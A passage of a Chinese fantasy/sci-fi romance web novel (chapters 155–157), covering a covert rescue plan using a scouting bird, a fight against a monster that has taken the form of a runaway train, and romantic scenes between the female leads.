李极虽然是农家女打扮,但身上一尘不染,脸庞洁净如玉,却半点不嫌脏。
“见到你好开心,虽然我知道你是和傻子打配合,不是为了我。”
方才还在耍赖的人,刚说两句话眼眶就红了,说话的声音也发着颤,一如既往想从曾倾洛那里讨一些甜蜜。
“你想不想我?”
被李极那双专注至极,渴望至极的漂亮眼睛热切地注视着,曾倾洛喉咙堵堵的。
“我,嗯……”
后面这个“嗯”实在太轻,轻到不像肯定,像犹豫的语气。
李极“哼”了一下,也没有真的生气,只道:
“要是只有不好听的就别说了。”
李极娇蛮地启开曾倾洛发凉的唇瓣,很快把她染热。
“这张嘴留着来吻我……”
第155章
燥热难当。
曾倾洛被抵在门边吻得喘不上气,感觉越来越站不住,李极还在解她的腰带。
保留了一丝理智,曾倾洛压下她的手,眼眸有些失焦,错开她的唇软声说:
“现在不是做这些的时候……”
正说着话,发现两人唇面上有银丝相连。
曾倾洛窘迫地要转开头,被李极又一次吻住。
这次的吻很短,但更炙热,弄得深到曾倾洛难耐地漏了一声。
直到李极离开时,曾倾洛都还有些眩晕。
“嗯,是啊,你的第五姐姐还在危险之中呢。”
李极吻得自己脸颊上一抹不自然的潮红,字里行间拈酸吃醋,最后还是听了曾倾洛的话,没再继续欺负她。
曾倾洛不与她口舌之争,再看看门外,确定没有人留着盯梢,便认真问李极为什么会出现在此。
李极脱了扎人的粗布裙,随意丢到一旁,穿着亵衣,丝毫不害羞的面对曾倾洛,展示自己的好身材。
“我和贺兰濯联手把向知番引出了长安城后,他一直锲而不舍地追踪我,真是不胜其烦。我在石川留了线索,把他引到了石川,你们就是在石川发现他的吧。向知番可能做梦都想不到,我没逃到什么出其不意的地方,其实一直住在他势力范围内。”
李极边说边裹上柔软保暖的羊绒大氅,卸掉了脸上的妆,整个人瞬间变回了金贵的安王。
曾倾洛:“弩下逃箭。”
“对,向知番找遍整个睦州恐怕都想不到我居然敢待在他的眼皮底下。”
李极不仅给自己卸妆,还帮曾倾洛脸上那些显得土里土气的脏污给抹掉。
看曾倾洛那小脸又白白净净了,李极满意地点了点她的鼻尖。
曾倾洛也没反对,眼神闪烁,就让她弄。
曾倾洛回味方才李极所言,“这么说起来,你们已经知晓我们的计划了?”
李极听“我们”这个词很不乐意,冷声道:“不止是向知番盯着我,我也盯着向知番好吧?他那个听水楼每日谁在进进出出,我了如指掌。”
曾倾洛:“你之前就发现了听水楼?”
李极被噎了一下,被曾倾洛那双眼睛看着,没法说谎。
“我在石川有安排人手,暗中监视向知番,第五那傻子被抓时我的人就一路跟着,这便发现了听水楼。话虽如此,可之前我就怀疑村子里有向知番关押人质的地点,就算没有傻子,我继续排查下去迟早会发现。”
李极说完,看见曾倾洛单手撑着脑袋在笑。
“你笑什么?”
李极觉得曾倾洛是在笑话她嘴硬。
其实曾倾洛是觉得她嘴硬的模样有点可爱。
当她意识到自己正在觉得李极可爱,荒谬感油然而生。
放在从前,肯定想象不到自己有朝一日觉得这高傲又目中无人的安王“可爱”。
“没什么,你接着说。”
李极:“我和贺兰濯一直没在一起行动,我在前吸引向知番的注意力,贺兰濯在后慢慢寻找机会,一点点渗透向知番的精神世界。我发现第五阙之后也没告诉贺兰濯,就怕她会因为担忧第五阙的安危而冒进。现在是最紧要的关头,定不能分散她的思绪。”
“向知番被贺节度使催眠了吗?”
“还不算,只是在一点点干扰他的情绪。”
向知番的精神力不在贺兰濯之下,甚至比健康状态下的贺兰濯略高一筹。贺兰濯一直没能完全康复,她们这种精神天赋者在大量使用精神力之后,想要完全康复,即便玉璧被修好了,也需要漫长的休养时间。
贺兰濯没时间休息,左眼也一直没能恢复视力,在精神力不占优势的情况下,直接催眠向知番的话,就算做得再隐蔽,也有可能会被他发现。
所以贺兰濯没有采用直接催眠向知番的方式。
她采用的是间接催眠法。
想要抓向知番非常困难,但是抓他身边一个拥有精神力的下属易如反掌。
而且这位下属的精神天赋还不能太高,只能是C级。通过深度催眠C级精神天赋者,把他放回向知番身边,再利用他来一点点渗透向知番的思绪。
渗透向知番的手法不能是催眠,催眠动静太大,不一定成功但一定会被他察觉。
只是干扰他的梦境,让他噩梦不断,梦到他最害怕的事情。
不用太久,只需十天半个月,人在睡不好觉的情况下精神最容易崩溃,若是在遇到危机,慌不择路时,便是突破他精神防线的极佳时刻。
这段时日向知番被噩梦搅得心烦意乱,偏偏他的人生中还真有那么个难以跨过去的心病,循环反复戳他的痛处,李极的消息还东边冒出一点西边探出一头,他已经烦躁不堪了。
李极:“在他疲累至极时,贺兰濯会放一把火,我把繁之和其他十名能干的武卫留给她了,到时候会逼向知番逃出府邸,必要时繁之等人会现身与之缠斗,贺兰濯在暗中释放精神力,务必一击即中控制他的精神世界。”
曾倾洛:“这倒是个好法子。”
李极:“也不是万无一失。万一没能控制住,那么一直以来的计划肯定会暴露,向知番熟悉贺兰濯的精神力,必定会察觉贺兰濯的计划,那她的妹妹就危险了。”
曾倾洛厘清了她们的思路,“所以在动手之前,最好能得到阿赐的消息。”
李极:“没错。贺兰濯挺能干,这些年雇了赏金猎人在整个睦州排查,锁定了最后三个地点。听水楼就是其中之一。就我这段时日调查来看,她妹妹应该不在此地。应该在剩下的两处。闻声阁或者赏云台。”
“……名字倒是起得挺好听。”曾倾洛道,“所以你来帮她找妹妹,她来紧盯向知番。交换目的,反而更能掩人耳目。”
李极:“只要能弄死向知番,我不介意跟任何人合作,不过……”
曾倾洛看向她,“什么?”
“向知番的几个藏兵的据点我已经大致有方向,但这些人都极其谨慎,据点里什么地形又有多少人,暂时不知。就怕贺兰濯那边准备好了,我这头寻不到阿赐,或者就算寻到了也无法立即将她救出。时间上对不上,这事儿就难办了。”
曾倾洛抬手,一只小小的侦查鸟扑腾着翅膀,落在她肩头。
“小师姐特意为我做的,隐蔽性很高,让它侦查,应该能探查出据点里详细情况。”
李极听到是沈逆制作的,虽不情愿,却也无法否认对它的信任。
李极眼里藏着兴奋的光,“若是能把向知番所有据点都探查清楚,掀了他的老窝,往后睦州便再无他的姓名。”
当然,李极最希望的还是直接把向知番大卸八块。
曾倾洛抬起指尖,小巧的侦查鸟落在她的手指背上。
“所以你知道第五阙现在的具体位置对么?”
李极瞥来一眼。
“嗯,知道啊。”
语调漫不经心,还带着几分揶揄。
曾倾洛发现现在都不用李极开口,自己已经能猜到她的情绪了。
“我让侦查鸟和第五阙汇合,说不定能带出她所在据点的内部情况。到时候便能里应外合拿下此据点。只要占领一个据点,想要再破其他据点便简单得多。”
李极想了想,也不任性了,点开电子表,指了个位置,“就在这儿。”
曾倾洛道:“好。”
李极心不甘情不愿地问:“那你要去吗?”
曾倾洛:“不,我去容易被发现,我就操控侦查鸟去。”
听她这么说,李极高兴了。
“那正好,这段时日你便与我住在这儿,与我假扮田园双妻,恩爱度日。”
曾倾洛看她一眼。
李极:“我这不是为了掩人耳目嘛?”
李极在心中已经想好了各种反驳的言语,甚至预备曾倾洛想走的话,该怎么死乞白赖将她留下。
谁知,曾倾洛一边为侦查鸟设置程序,一边轻声道:
“我也没说什么。”
李极以为自己听错了,蓦地挺直上身。
“这么说,你答应了?”
曾倾洛的确想留下。
这小屋子看着就知道完全没被改造过,应该原本就是村民的房子,被李极以某种手段弄来掩人耳目的。
在这儿住下,和李极假扮双妻,与此同时推进计划,当是最稳妥的方法。
而心底深处亦有一种清晰的情绪,她担心李极的安危。
这儿距离向知番的据点太近,随时都会有他的人来巡查。繁之追随贺兰濯去了,那康逸和其他下属应该藏在附近,就算有人暗暗守卫,若真遇到危险,总不及身边有个战斗天赋者保护来得安全。
曾倾洛想起分别前小师姐对她说的话。
“有些人一见如故,有些人日久生情,而有些人则需经历三回九转方可见真心。”
李极这个人狂妄自大,满口谎言,疯疯癫癫,为达目的不择手段。
这都是相识之初曾倾洛不喜甚至厌恶她的缺点。
可是经历种种,她发现李极在这些缺点之外,也有惹人喜欢的优点……
曾倾洛暂时不想去想太多,眼下把所有精力集中在计划上才是最重要的。
曾倾洛若有若无地“嗯”了一声。
李极喜出望外。
锁定了目标,小侦查鸟进入隐形状态,曾倾洛将它放飞,去找第五阙。
曾倾洛坐在矮案前认真看着侦查鸟同步视频,李极开开心心地张开大氅,从她身后紧抱着她,把她整个人都裹进去,仿佛有了肆意缠她的正当理由,下巴搭在她肩头,跟她一起看。
“裴寂。”曾倾洛说,“你别在这呼吸……”
热热的呼吸喷在耳朵上,耳朵已经被她弄到滚烫。
而且贴得这么紧,里面只穿着一件亵衣,柔软的轮廓贴在她后背上,惹得人心猿意马。
听曾倾洛居然唤自己“裴寂”,唤得极其顺口,分明是记得她说过“叫我裴寂好不好”的请求。
李极无声地笑着,听话地转头,把脑袋转到另一边肩膀。
曾倾洛无奈道:“这边耳朵也弄烫了。”
李极:“那我不呼吸?”
曾倾洛:“行啊。”
李极当真不呼吸,憋着气。
曾倾洛失笑:“幼稚。”
李极不说话,就蹭她的后颈。
曾倾洛调整侦查鸟的方向她在蹭,开启高度静音功能她还在蹭。
一遍遍地蹭着。
“裴寂。”曾倾洛再次点她。
“我都没呼到你耳朵了。”
“你蹭起来也很痒的。马上就要进入听水楼,我要集中注意力了。”
李极:“那,亲你的宝贝裴寂一下再集中注意力。”
曾倾洛:……
感觉裴寂不是大她八岁,分明小她一辈,这么粘人又幼稚。
曾倾洛心里想到的是“别真的来捣乱”,便回头捏着李极的下巴,轻轻啄在她唇上。
“好了?”
李极只是随口一说,根本没想过自己能得逞。
突然得逞,怔住了。
曾倾洛:“去自己待一会儿。”
李极更不想走了,抱着曾倾洛不撒手。
“我就在这儿待着,哪也不去,不蹭你就是了。”
一大只压上来,曾倾洛背都被压弯了,不过看在这次她说话算话的份上没再赶她,就让她抱着,辅助侦查鸟的飞行,顺利进入了听水楼.
【高峰林站就要到了,请在高峰林下车的乘客收拾好行李和随身物品,准备下车……】
列车里的广播播放着温柔的电子提示音,车厢内要下车的旅人提着行李背起行囊,准备下车。
最后一节车厢里,等待下车的人群尾部有两名小娘子前后挨着站,说起最近关于列车杀人的传说。
“列车还能杀人?”
“谁知道啊,就是在网上看到的,说一整列车的人都不见了,然后那列车平白多出六节车厢。”
“嘶,这也太恐怖了吧,是雾雪线出的事儿吗?”
“好像不是,不过……”
两人回眸,往身后看。
“我怎么记得,我们坐的是最后一节车厢?”
“我,我也记得后面就是驾驶室,可是你看——”
两人趴在琉璃槅门前往里瞧,驾驶室和不见了,取而代之的是一节空荡荡的车厢。
和恐怖的列车杀人传说一模一样。
没有人的车厢显得格外阴森,冷光打在一排排没有人的座椅上,呈现出一种恐怖的隐匿感,仿佛有什么阴湿的怪物随时会突然打破这诡异的静谧。
更让她们头皮发麻的是,这节空车厢的尽头还连着另一节无人的车厢,那节车厢只有半截。
半截车厢正在一圈圈地往外织出更多的厢体,彷佛有一只看不见的机械臂正在打造这高速行驶的列车。
可根本没有机械臂,还未造好的车厢尾部敞开着,面对着黑洞洞的雪夜。
她俩捂着嘴,所有害怕的情绪都堵在喉咙口,浑身鸡皮疙瘩战栗。当她们回头的时候,察觉到了一件极其古怪的事。
“你有没有发现,队伍变短了?”
她们原本站在队尾,前面是一条塞满过道等待下车的长队。
她俩都记得原本站在她们前面的是个背竹篓的老头,但此刻,队尾已经远离她们十步之远了。
“会不会……有人下车了,所以队伍变短了?”
“车根本就没停好吗!”
而且,那个背竹篓的老头呢?车厢里根本没有他的踪影。
恐惧感变成了冷汗。
“我,我觉得有什么东西在摸我的脚,你帮我看看……”
“这谁敢看,你自己怎么不看!”
“我也不敢看啊!”
两人都说不敢,却齐刷刷地低头。
抓她脚的,正是那背竹篓的老头。
背竹篓的老头半个身子不知何时与车厢的地面融为一体,翻着白眼的脑袋一大半都被地面吞噬,皱巴巴的右手紧扣着其中一人的脚踝,用力将她往下拽。
被抓的小娘子失声大叫,同伴也吓得魂不附体,行李、背包、隔壁座位上吃剩的餐盒……手边有什么都往老者的半截身上狂掷。
与此同时,正在等待下车的旅人疑惑声迭起。
“不是就要到站了吗?怎么车速还这么快?”
“为什么不停车——乘务员!”
“怎么回事!有人吗——”
黑色的乱体从背竹篓的老头手上飞蹿至小娘子的腰间,小娘子整个人就要被他拉倒时,一把电刃斩断了乱体。
“站我身后。”
耀眼的电光中,窦璇玑单臂横挡,将旅人们挡在后方,眼眸一抬,对前方道:
“开火。”
戴着帷帽的李司手炮狂轰,将黑魔方的乱体轰得粉碎,配合得天衣无缝。
李司抬头,笑着对窦璇玑道:“我好不好用?”
谁知窦璇玑完全没看她,正在和云婵云衣一同疏散人群。
李司:……
原本的计划是让列车长广播,到了高峰林站让所有乘客下车。
意料之中,这趟失控的列车根本没有到站停车的打算。
驾驶舱前。
【嘟——您的权限已过期。】
列车长的权限依旧被拒。
眼看着就要到站,车速反而越来越快,大冷天列车长急出了一脑门的汗,回头对边烬和沈逆道:
“不行啊,不知道是不是系统出了问题……”
列车长还没说完,边烬抬手把他挡到身后,“让开。”
还未等列车长反应过来,她一脚踹飞了舱门,进入驾驶舱。
列车长:……
第156章
驾驶舱内一片黑暗,只有中控屏幕上闪着星星点点的红蓝光,却有大量的黑魔方能量反应。
沈逆在边烬身后道:“舱门上有一层虚电容壳体。就是这层壳体干扰了侦测。真是我见过最聪明的黑魔方了。”
边烬:“它还在吞噬乘客,不断提升自己的能量,也是我见过能量最大的分支。”
边烬的手压在中控屏上,黑色的乱体瞬间卷住她的手。
沈逆清晰地发现边烬清冷的脸庞上浮出一丝染着邪气的笑。
边烬:“胆子挺大。”
列车冲过了高峰林站,极快的车速刮起的强风,把站台上等车的旅人们吓得连连后退。
车厢内,一部分座椅变成了吃人的乱体,卷到人立刻往其身体里钻。
云衣双手各拿一把枪,打得乱体碎渣横飞。
她身侧的姐姐云婵右手手掌内置超声波干扰,能有效混乱乱体的磁场,破坏乱体的行动。左手手掌张开,超强劲吸尘器吸口嗡嗡作响,近距离的乱体和被云衣打烂的碎渣都会被吸入内置在手臂里的虚电容壳体内,装满一袋就从上臂的出口排出。
姐妹俩从车头往中间扫,窦璇玑和李司则从车尾往前包。
车内有战斗能力的人纷纷拿出武器和黑魔方拼了,没有战斗能力的则围成一团缩在角落里,把行李挡在身前。
更有甚者直接跃出窗外,车速太快,也不知摔出去是死是活。
窦璇玑和李司一同退敌的次数不多,却意外的很有默契。
李司也是个远程枪手,掩护着擅长近战的窦璇玑。
加之她为了隐藏身份戴了帷帽,恍惚间,窦璇玑有种房判还在身边的错觉。
两路人马很快杀到了中间的车厢,乱体好不容易被铲除,车厢却开始扭曲。琉璃车窗在扭曲中率先碎裂,炸出无数的碎片喷向抱头尖叫的旅人。
车顶塌陷,座椅错位,车厢内的空间越来越小,仿佛有一只看不见的手,像捏饮料罐一样轻易把车厢捏扁。
再这样下去,所有人都会被捏死在车厢内。
窦璇玑当机立断去砍列车门。
列车门刚被砍开,门忽然变成乱体,拧成一把长刀,扎向窦璇玑的心口。
窦璇玑记得沈逆跟她说过,这趟列车本身很有可能就是黑魔方分支,只不过这次它没有变成“异兽”,而是幻化成了列车的形态,千万不要掉以轻心。
心里是记得这件事,但在紧要关头还是会理所当然地认为车是车,门是门。
门突然变成了刀,让窦璇玑的反应慢了半拍。
乱体刺刀扎入血肉之躯,鲜红的血喷溅在老旧的车厢墙壁上。
那血却不是窦璇玑的血。
一直紧跟着窦璇玑的李司眼疾手快挡到她身前,空手抓住长刀,手掌被锋利的刀刃割破,血很快从她的指缝往外涌。而她另一只手持着的手炮炮口已经对准了乱体。
李司睨着窦璇玑,痛楚让她额头上蒙了一层冷汗,还在一如既往地笑。
“这回好用了吧?”
手炮本就威力惊人,近距离轰炸之下,乱体被轰成齑粉。
车门大开,刺骨的寒风灌入车厢,李司头顶上的那块车顶猛地压下来,要不是窦璇玑拽她一把,她脖子可能当场就被压断了。
车厢越来越扭曲,惊叫声四起,李司这样的高个子都没法站直了。
云婵云衣也把其他车厢门强行启开。
继续待下去只会被拧成肉泥。
“跳!”
窦璇玑向着车厢内喊。
“不想死就跳!”
人群中有人弱声道:“可是……车速太快了,跳下去也会死啊!”
窦璇玑被噎了一下,言之也有理。
她望向车外,车速实在太快了,铁道两侧还是凌乱的碎石,冰天雪地的北地到处都是硬邦邦的,这么快的车速敢跳的早就跳出去了,剩下的这些普通人跳出去只会当场没命。
李司念叨了一句,“要是车速降点下来就好了。”
言毕,只听一阵尖锐的摩擦声,车厢猛烈摇晃,所有人惊呼着往前倒。窦璇玑一个没站稳,直接扑到李司怀里。
车速还真降下来了。
李司震惊,不是吧,登基之后我这嘴也开光了?
车速当然不是靠李司的嘴给说慢的。
而是边烬控制住了驾驶舱内的黑魔方。
当她手压制在中控屏幕上时,无数乱体卷住她的手腕,如同一条条黑色的蛇,沿着她的手臂迅速往上爬。
沈逆就要用戒棍打碎乱体的时候,见另外一股更为强壮的乱体不知从何处杀出来,绞死了从中控延伸出来的乱体后,直接刺入中控内。
整个车厢在发颤,沈逆听到了沉闷又痛苦的低吼。
那是来自边烬身体中的乱体,控制住了列车,潜伏在车内的黑魔方分支被来自本体碾压性的力量控制,不得不降低了车速。
边烬丝毫不觉得惊讶,她已经对自己能操控乱体杀死黑魔方见怪不怪了。
这种操控的征服感甚至让她愉悦。
此情此景,让沈逆想起龙泉城山上那棵巨大的乱体之树。
即便逆芯修复了,黑魔方对边烬的影响恐怕已经不止是身体。
精神上的蚕食甚至没有清晰的分界线。
沈逆不确定边烬自己能不能察觉到。
极度的痛苦之下,一团黑色的黏液不得不从驾驶位的缝隙里流出。
黑色的黏液像液体又不似液体,不往下滴坠,如一块冰冷又柔韧的糖浆。
沈逆还在观察那团黏液,边烬忽然将她抱起。
黏液眨眼间变成长长的尖刺,轰然将整个驾驶舱扎得稀烂。
驾驶舱的车顶被掀飞,边烬单手抱着沈逆冲入半空,风雪过袂,长长的骨鞭在夜空中划出一道纤长而锋利的弧线。
扬鞭的那一瞬,沈逆发现边烬不太对劲。
这鞭冲的是整个列车的车身去的。
那一刻,边烬根本没去想人命不人命,只想痛痛快快把碍事的玩意扫个精光。
若是车厢被骨鞭抽中,里面的人恐怕没有几个能活。
“师姐!”
沈逆用力扯着她的衣襟。
被沈逆提醒,边烬乍然醒转,立刻调整了准头,把黑魔方聚集的驾驶舱抽得粉碎。
驾驶舱内的黑魔方非常机灵地蹿到了一号车厢里。
边烬抱着沈逆落到铁道东侧的小山丘上。
列车速度变缓了,有战斗天赋的人全部越了出去,没天赋的也有胆大的往外跳,剩下的老弱病残还在车厢里瑟瑟发抖。
原本的轨道被改变,列车被一号车厢带着,轰隆隆地驶上跨山长桥。
云婵往外看,“路线不对。”
崇山峻岭间,纤细的轨道显得格外脆弱,而伏在轨道上那列已经被扭成一条干瘪豆橛子的列车歪歪扭扭地上了轨道,仿佛只要山谷的风再大一些,就会将列车吹落万丈深渊,摔得支离破碎。
更令人绝望的是这条轨道,只修了一半。
车厢里有个老翁用拐杖用力杵着地面,闭着眼大喊道:
“完了!列车要摔死咱们呐!”
云衣本想给那制造恐慌的老鬼一梭子,可列车上了长桥之后,忽然开始往一侧倾倒。
车厢内行李掉落,人根本站不住,直往一边倒。
原本就在窗边的小娘子大叫着就要摔出去,窦璇玑给李司的掌心里拍了一张止血贴后,立刻朝前挺身一抓,硬生生把小娘子抓了回来。
她刚抓回来一人,车厢倾斜得更厉害,又有好几个人大叫着滑到了窗口,云衣她们就两只手,根本来不及护。
窦璇玑心里一凉,这可完蛋了,摔出去必死无疑。
千钧一发之际,身车忽然被一股力量牵拽着正了回来,险些摔出去的人又被挡回,头晕脑胀地摔在地面上。
窦璇玑脑袋探出车窗外,见骨鞭紧紧锁着车身,站在山丘上的边烬正双臂拽着列车,用力将它往后扯。
“璇玑!”
李司喊了一声,窦璇玑扭头看。
前方没路了!
就在列车驶向尚未修好的轨道末端时,一号车厢忽然与后方断开,一号车厢拧成了一只黑色的风筝,在众人诧异的注视下,稳稳地向山谷中飘去。而身后的车厢还在与边烬的较劲中不住往前冲。
黑魔方的分支想金蝉脱壳。
山谷之下狂风暴雪,视野受限,要是真的让它逃走,恐怕一时半会儿很难找寻。
边烬不想它逃离,不然这次捕杀便算失败。
这分支不知吃了多少人,脑子极其活络又擅于隐藏,想再寻它恐怕又得经历一番波折。
可此时边烬距离那风筝太远,本体也控制不下它。
手中又拽着载满人的车厢,无法立刻去追。
这一刻,边烬的脑海中有个清晰的声音在对她说——
这些累赘是不是很烦?
还不如全部死了算了。一群蝼蚁罢了,这些人的命轻贱,不值得。
边烬指尖微不可查地松动了。
“我去追!”
沈逆的声音骤然炸碎了边烬梦魇般的臆想。
边烬清醒时,发现沈逆不知何时操控房车冲出了托运的货车车厢。
沈逆跃下山丘,开启房车追入山谷中。
房车是陆海空三用载具,要追一只风筝不难。
眼睁睁地看着沈逆消失在自己的视野里,边烬颞颥突突地跳着,待她将剩下的车厢稳稳停在轨道尽头前,救了所有人的性命时,立刻抽回骨鞭,卷住轨道的一头,纵身跃入深谷。
此时日落西山,深谷之中漆黑一片。
越找越心急。
“阿摇——”
边烬的声音和风雪声一同响彻山谷。
种种可能从发慌的心头掠过。
直到……
“师姐——”
呼啸的风声中,边烬听到沈逆微弱的回应。
找到沈逆时,见沈逆站在一片浓烟之中,腹部有一片刺眼的血迹。
边烬看到血迹,呼吸猛然滞住了。
沈逆几乎站不住,单手扶着身边的树干,原本还能自个儿撑着不至于摔倒,看到边烬的一瞬间腿就软得没法站了。
“师姐,你看。”
沈逆晃晃手里的虚电容袋,疲倦地笑道:
“抓着了。”
边烬半个字都说不出来,一把将沈逆揽入怀中,让她把所有的重量都靠到身上。
沈逆脖颈后都是热汗,身子还有些发颤,但心跳还在,一下下透过相贴的身体传入边烬的胸膛。
还活着。
边烬微颤的指尖揉入沈逆的发丝里。
还活着……
边烬一时无言,半晌才道:“能自己走吗?”
沈逆脑袋在她怀里晃了晃,“不能。”
于是,当云衣云婵好不容易寻下来时,看见白御史怀中抱着个女子,温柔地问道:
“还有哪儿疼?”
云衣一怔,白御史居然还有这么温柔的一面。
语气像哄着小孩儿,但又比哄孩子更多一份心疼与动容。
即便被两双眼睛盯着看,边烬有点儿臊,但依旧抱着沈逆没撒手。
“不疼。”
沈逆圈着边烬的脖子,肆意赖在她怀中。
“那不是我的血。”
边烬皱眉,“不是你的血?”
“嗯,我刚收了黑魔方,突然蹿出一只熊。我把它打跑的时候沾了它的血。”
边烬:……
沈逆往她怀里挤了挤,“那我这一路追下来脚也扭着了,可疼了,不许放开我。”
这时窦璇玑和李司也来了,四双眼睛瞧着,边烬还是如她所愿,没有放手。
一言不发,宠到没边。
云衣看得心驰神往。
一贯说一不二的活阎王,居然这么宠着“妻子”。
看来“妻子”这玩意,能耐可真大啊。
云衣悄悄问云婵:“姐,你说我找个什么样的妻子合适?”
云婵无语地看看云衣,再看看前方的白御史的背影,只想问这位“妻子”要待到什么时候。
……
此处距离高峰林镇不算远,列车长联系了当地的车站,特意发了几辆车过来把乘客接回高峰林。受伤的送医院,没受伤的可以暂时住下,等待下一班车。
被黑魔方弄得胆战心惊,这趟车的旅客一时半会儿不太敢再乘列车,转乘马车或轮渡。
沈逆和李司都受了些伤,她们打算先在高峰林住下。
高峰林是个非常小的小镇,小到镇上只有两家客栈。
一家已经住满了,她们一行人只能投宿到一起。
三楼尽头的小客房内。
“嘶——”
窦璇玑刚要帮李司缝合,李司就倒吸了一口凉气。
窦璇玑乜她,“我还没碰着你。”
李司实话实说:“让你一个战斗天赋者帮我缝伤口,我害怕。”
窦璇玑立刻放下,“行吧,那你自己缝,我正好也累够呛,休息去了。”
李司本来想叫沈逆来给她看看,这会儿也不敢吭声了,用没受伤的手拉了拉窦璇玑的袖子。
“你说你这暴脾气,怎么就生气啦?那我不是疼得厉害么?”
李司最会抓乖弄俏,拽一拽窦璇玑,窦璇玑又转身搭理她了。
窦璇玑本来也没真的想走,要不是李司为她接下这一刀,现在她能疼到龇牙咧嘴都算是幸运,寸一点可能性命都得交代在车上。
窦璇玑:“给不给缝了?”
李司老实巴交,“给,给。”
窦璇玑小心地捏着李司的手指,张开手掌露出伤口。
看到这一道几乎贯穿了整面手掌的伤口,窦璇玑莫名想起曾经和房判说的一些私房话——
往后每一年她都会更喜欢你一些,永远愿意保护你呢?
李司这人,平时看着没正形,危险的时候她真上。
想着眼前人一如既往护着她,窦璇玑心上有种说不出的滋味。
她不懂情爱,只觉得开心,嘴角就是不受控制地上扬。
窦璇玑定了定神,局部麻醉后仔细缝合。
出乎李司意料,窦璇玑缝合技术还不错。
迎着李司惊喜的眼神,窦璇玑“呵”了一声道:
“我们经常受伤的好嘛?我和房判都是互相缝合,处理伤口,熟练得很。”
窦璇玑毫不避讳地提到了房判,李司知道,她应该已经走出了阴霾。
窦璇玑一直都很坚强。
可越是坚强,李司就越心疼她。
手掌包好,不能碰水,李司行动不太方便。
窦璇玑主动说:“你今晚就住这儿。”
“嗯?”李司眼眸一亮,看向这客房里唯一的一张床,“这儿?和你,一起?”
“是啊。”窦璇玑道,“陛下睡床,我睡地上。”
李司刚刚亮起的眼眸瞬间暗了下去。
“那我还是走了。”
窦璇玑见她说走就走,“噗”一下笑出声。
“这么好逗啊你,回来吧。你为了我受伤,我当然得照顾好你。”
“那……”
窦璇玑没看她,只道:“嗯,一起睡床。”
自窦璇玑说“一起睡床”这句话后,李司的心跳就没恢复正常过。
关灯之后,客栈之外风雪呼啸,同一个被窝里窦璇玑近在咫尺的身体散发着让李司无法忽略的热度。
想起之前在长安城里,与她同乘一匹马时搂上她腰肢的柔软,还有在列车上扑到她怀中身体的单薄……
胡思乱想再加上掌心里火辣辣的疼痛,李司迟迟找不到睡意。
“还没睡?”
黑暗中,窦璇玑开口。
“嗯……”
“冷?”
被子太单薄,炉子又不够热,简陋的边陲客栈的客房里的确很冷。
李司被这么一问,心中天人交战,不知该怎么回答。
还未等她回答,窦璇玑便抱住了她。
温暖的体温和少女柔软的身子一瞬间驱赶了寒冷。
李司被她抱得怔住。
窦璇玑又想起房判说的另一句话——
想那么多干嘛,无论未来怎么样,此刻开心不就好了?
李司很快就要回去了,窦璇玑不知前路如何,可眼下,这寒风呼啸的夜里,简陋又陌生的客房内,她只想抱住李司,抱住这个在飘摇的穷途不顾一切保护她,让她明白什么是“幸福”的女人。
窦璇玑杀人麻利,抱人的动作却很别扭,手也不知道该放在何处才对。
不过李司体贴,没让她再思考下去。
万般思念和冲动终于在默许下打开了闸口,洪流奔涌,李司翻身而起,将怀里人紧拥在身下,热吻封唇。
第157章
窦璇玑也是服了,感觉李司晚上没吃饱,咬得她痛到受不了,最后把人赶走了。
被推开的李司委委屈屈又忐忑不安地攥着被子,看向背对着她,只留个后脑壳给她的窦璇玑。
“那我……没经验嘛。”
李司戳戳她的肩膀。
“你就当被狗咬了,别生气,我让你咬回来行不行?”
窦璇玑没动弹,但说话时的语调里已经带着好笑。
“你也知道你是狗?谁要咬狗。”
李司确定她没生气,胆子变大了,再次缠上去,把她整个人往怀里抱。
“好好,你不咬小狗,那让小狗再咬咬你。”
窦璇玑忍无可忍,“李司,你好歹也是当皇帝的人了,能不能不要这么没脸没皮。还小狗……”
“我在你面前什么时候有脸有皮过?”
窦璇玑哭笑不得,拿皮厚的人实在没办法,只能骂道:
“不许咬了,痛得要死。”
“好好好,不咬了,那你让我抱抱。”
窦璇玑没反对,就让她抱着。
李司安安稳稳地抱着怀中人。上次同乘时搂了一下,可是教她魂牵梦萦了许久,终于又一次搂住了,还是这么踏踏实实地抱了个满怀,李司心被填得满满的。
屋子里安静了一会儿,窦璇玑问她:“你刚才说,你没经验?”
李司脑袋微微抬起,“你这是什么怀疑的语气?”
窦璇玑也侧回来一点脸,“李司,你都三十了吧?”
“那怎么了?我之前到处打仗,回长安后每日巡查忙得黑眼圈都掉下巴上了,还要跟那群老奸巨猾明争暗斗,站得越高越是得小心翼翼,就怕一不小心被人算计。那时我想再往上走走,一门心思都放在仕途上,哪有心情想别的?”
“暂且相信你。”
“怎么还暂且,我可不会对你撒谎。”
“之前没心情想别的,那现在怎么就想了?”
“现在么,因为遇到你了。”
“为什么?”
窦璇玑知道这么问矫情,可她就是想问。
“哪有为什么,喜欢你需要理由吗?如果我现在说了个理由,往后这理由不在了,我就不喜欢你了?”李司将她抱得更紧,“爱才不需要理由,更不用考虑逻辑。”
李司“蛮不讲理”的喜欢让窦璇玑觉得新鲜。
新鲜之中,也带着她渴望的包容与踏实。
她转了个身,面对着李司,说:“你别动,我来。”
李司乖乖让她亲,窦璇玑亲得太轻柔,反而让李司更躁动,受不了她的温吞,再次想要掌控主动。
不敢咬她的唇了,可一碰到她肌肤就觉得亲吻不够,就是想咬,从下巴咬到脖子,情难自禁时忽然“哎哟”地叫出声。
忘了窦璇玑的脖子是金属义体,这一口下去牙差点崩了。
李司捂着嘴躺回去,眼泪都出来了。
窦璇玑用力捶了她一下,捶完之后看她红红的眼睛,估计是真疼了,狼狈的模样让笑出声。
李司:“……我这么痛,你忍心笑?”
窦璇玑:“忍心啊。”
说完一阵爆笑。
李司:……
算了,小孩儿调皮,自己不宠谁宠?
笑就笑吧,又不会少块肉。
想了想,也觉得好笑。
两人挨在一块儿,你笑一下我笑一下,随后一起哈哈大笑,没完没了.
侦查鸟和第五阙顺利汇合,还偷偷给第五阙留下了沈逆为她打造的拳套。
第五阙藏好了拳套,对着侦查鸟轻声道:
“阿赐有可能在闻声阁。”
侦查鸟的另一头,曾倾洛和李极收到了这个消息。
侦查鸟还能再隐身一刻钟,顺利进入听水楼后,曾倾洛对此地的防备等级心里有数了。只要尚在隐身状态,应该不会被发现。
曾倾洛趁机让侦查鸟扫描小院内的地形和布局,发现了马厩,立刻在所有马车上安装了反侦测定位器。
这几个定位器也是沈逆打造的,非常隐蔽,普通的S级载具都未必能发现。
